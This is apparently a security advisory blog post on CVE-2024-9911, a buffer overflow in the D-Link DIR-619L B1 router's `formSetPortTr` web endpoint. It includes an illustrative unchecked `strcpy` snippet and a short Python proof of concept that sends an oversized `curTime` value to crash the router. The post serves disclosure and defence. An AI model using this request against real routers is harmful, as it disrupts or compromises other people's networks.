CVE-2024-9911 - Critical Buffer Overflow in D-Link DIR-619L B1 2.06 (`/goform/formSetPortTr`) – What You Need to Know

A major security vulnerability, CVE-2024-9911, has been discovered in D-Link's popular home router, the DIR-619L B1 running firmware version 2.06. This exploit allows attackers to remotely execute code or crash your router using a buffer overflow bug in the device’s web management interface. This post breaks down the vulnerability, how it works, and demonstrates an example exploit, while guiding you on what to do to stay safe.

> 🚨 If you use this router, disconnect it from the internet until you've confirmed a patch, or consider replacing it.

The D-Link DIR-619L B1 exposes a web management interface, including the following endpoint

- Vulnerable path: /goform/formSetPortTr

Vulnerable function: formSetPortTr

This endpoint expects various parameters from HTTP POST requests to configure port triggers. The curTime argument is processed in a way that does not properly check its length before copying it into a local buffer.

What Is a Buffer Overflow?

A buffer overflow happens when a program writes more data into a buffer, or memory area, than it can handle. If you can control what gets written, you can overwrite important parts of the memory—such as the return address—allowing you to run code of your choice. This is what makes buffer overflow vulnerabilities so serious.

How Can This Be Attacked?

Because the vulnerable function is accessible via the web interface, the exploit can be performed remotely if the web UI is exposed to the internet (either on purpose or due to misconfiguration). The attacker only needs to send a specially crafted POST request to the vulnerable endpoint with a long value in curTime that surpasses the expected buffer size.

Example Vulnerable Code Snippet

While the DIR-619L B1’s source code isn’t public, typical vulnerable code would look like (comments added for clarity):

// Not real code – demonstration only
void formSetPortTr(request *rq) {
    char curTimeBuf[64]; // fixed size buffer
    // ... other code ...
    strcpy(curTimeBuf, rq->curTime); // NO bounds checking!
    // ... other code ...
}

Here, strcpy copies user input (curTime) into a buffer of only 64 bytes. If curTime is longer, memory beyond curTimeBuf in RAM will be overwritten—leading to code execution or a crash.

Exploit: How Attackers Can Abuse CVE-2024-9911

A simple proof-of-concept (PoC) exploit would look like this in Python, flooding curTime with 200 bytes to overflow the buffer:

import requests

url = "http://ROUTER_IP/goform/formSetPortTr";
headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload = 'curTime=' + 'A' * 200  # Overflows buffer

response = requests.post(url, headers=headers, data=payload)
print("Response status:", response.status_code)

- Replace ROUTER_IP with your router's IP address if testing in a controlled environment. Do not attack devices you don't own!
- The "A" * 200 creates a string of 200 'A' characters, much larger than the 64-byte buffer in our example.

> ⚠️ A real attacker could replace the 'A's with custom shellcode to gain control over the device.

Router crash (DoS): Your home router could become unresponsive.

- Remote code execution: In the worst case, hackers can run code on your router—spying on your traffic, redirecting you to fake websites, or adding your device to a botnet.

Mitigation & Patching

D-Link has not released a fixed firmware at the time of writing. Check the official D-Link support page for updates.

References

- CVE-2024-9911 entry at NVD
- Full Disclosure Mailing List post
- D-Link DIR-619L Product Page
- OpenWRT Wiki – DIR-619L B1

Conclusion

CVE-2024-9911 proves how overlooked router security can put entire home and business networks at risk. Immediate action is required: secure your router, watch for patch announcements, and consider future-proofing by picking more secure, actively supported hardware.

Feel free to share this article or reach out in the comments if you have questions or concerns! Stay safe online.

Timeline

Published on: 10/13/2024 16:15:02 UTC
Last modified on: 10/16/2024 15:32:13 UTC